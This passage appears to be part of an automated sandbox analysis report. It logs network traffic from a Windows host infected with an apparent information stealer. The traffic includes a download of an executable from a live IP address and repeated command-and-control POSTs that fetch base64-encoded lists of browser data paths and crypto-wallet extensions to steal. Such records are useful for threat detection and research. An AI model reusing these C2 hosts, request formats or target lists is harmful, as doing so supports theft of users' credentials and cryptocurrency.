@.rsrcD``@.idata f@rbjmaado ++h@rfadrvwi ++@.taggant@+"+@
Dec 24, 2024 12:39:27.451170921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:39:27.451181889 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:39:27.451308966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:39:27.451327085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:39:27.451338053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:39:27.451351881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:39:27.451546907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:39:27.451561928 CET	1236	IN	Data Raw: b7 50 df 0a ba 72 05 e5 db 73 f7 e4 db 74 db f1 db 9f 15 e5 e5 72 db e4 db 72 db e4 db b8 21 e5 de 86 db e4 dc 8d 0b e8 db 08 dd e4 db 72 db e4 db 9a e7 e4 db 78 03 f2 db 72 e1 0c ea 72 db ea 03 81 db e4 e1 e4 10 e5 db e2 03 f5 db 72 e1 56 25 72 Data Ascii: Prstrr!rxrrrV%rTNKrVrTNK$rV)sTNDK$rV)sTNxK$rV)sTNK$rV)sTNK$rV)sTNK$rVtTNK$rVou
Dec 24, 2024 12:39:27.451575041 CET	1236	IN	Data Raw: dd c8 5b a1 dd 91 dc 3a 5c 33 de 03 dd 78 e1 0e e0 82 dc 3a 5c de db 07 dd c8 5b bf dd 95 dc 3a 5c 18 dd 07 dd c8 5b 57 df 95 dc 3a 5c 9b de 07 dd c8 5b ab df 95 dc 3a 5c d3 dd 07 dd c8 5b 66 dd 95 dc 3a 5c cd dc 07 dd c8 5b 10 de 95 dc 3a 5c 20 Data Ascii: [:\3x:\[:\[W:\[:\[f:\[:\ x:\[*:\[H:\[:\[}:\p[:\[:\[RssZsPrjs<rs
Dec 24, 2024 12:39:27.571026087 CET	1236	IN	Data Raw: db f4 dc 12 dc 85 db 6f dd a0 db ff db 1c dd 12 dc 95 db 97 dd a0 db 0f dc 31 dd 12 dc a5 db a3 dd a0 db 1f dc 31 dd 12 dc b5 db 97 dd a0 db 2f dc 37 dd 12 dc c5 db a3 dd a0 db 3f dc 31 dd 12 dc d5 db c1 dd a0 db 4f dc 79 dd 12 dc e5 db f8 dd b5 Data Ascii: o11/7?1Oy_'\|_G\|guoo}}}}?sys{t}sslsssuyss[r
Dec 24, 2024 12:39:32.241069078 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 24, 2024 12:39:32.748869896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 24 Dec 2024 11:39:31 GMT Content-Type: application/octet-stream Content-Length: 5140992 Last-Modified: Tue, 24 Dec 2024 10:58:21 GMT Connection: keep-alive ETag: "676a93cd-4e7200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 80 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 4e 00 00 04 00 00 5f 91 4e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(N@N_N@M$a$$ $$@.rsrc$$@.idata $$@lsatlxzt)$)$@iiwizmehpNLN@.taggant0N"PN@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49773	185.215.113.206	80	6224	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 12:39:45.317765951 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 12:39:46.642422915 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 12:39:47.005758047 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 39 44 35 30 44 33 41 30 41 32 44 31 38 33 35 36 37 39 37 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"E9D50D3A0A2D183567973------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"stok------CBFCBKKFBAEHJKEBKFCB--
Dec 24, 2024 12:39:48.538949013 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 67 31 5a 57 56 6c 59 6a 68 6d 4e 6a 49 7a 4e 7a 6c 6c 5a 6a 52 6d 5a 44 6c 6c 59 54 68 6d 4d 7a 45 32 4d 44 4d 35 4d 6d 55 77 4e 47 51 34 59 6a 45 79 4f 54 41 30 59 54 49 77 5a 6d 56 6c 4e 32 45 30 59 6a 52 6b 59 57 45 7a 5a 44 6c 6a 4e 6d 55 79 4e 57 5a 6b 4d 7a 67 77 4f 54 68 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTg1ZWVlYjhmNjIzNzllZjRmZDllYThmMzE2MDM5MmUwNGQ4YjEyOTA0YTIwZmVlN2E0YjRkYWEzZDljNmUyNWZkMzgwOThlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 24, 2024 12:39:48.540441990 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"browsers------EHDHIDAEHCFHJJJJECAA--
Dec 24, 2024 12:39:48.977405071 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 24, 2024 12:39:48.977459908 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 24, 2024 12:39:48.978899956 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 2d 2d 0d 0a Data Ascii: ------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="message"plugins------KFCAFIIDHIDGHIECGDGI--
Dec 24, 2024 12:39:49.415648937 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 24, 2024 12:39:49.415662050 CET	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Dec 24, 2024 12:39:49.415734053 CET	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Dec 24, 2024 12:39:49.415842056 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Dec 24, 2024 12:39:49.415853977 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Dec 24, 2024 12:39:49.415865898 CET	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Dec 24, 2024 12:39:49.424144030 CET	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Dec 24, 2024 12:39:49.524631023 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 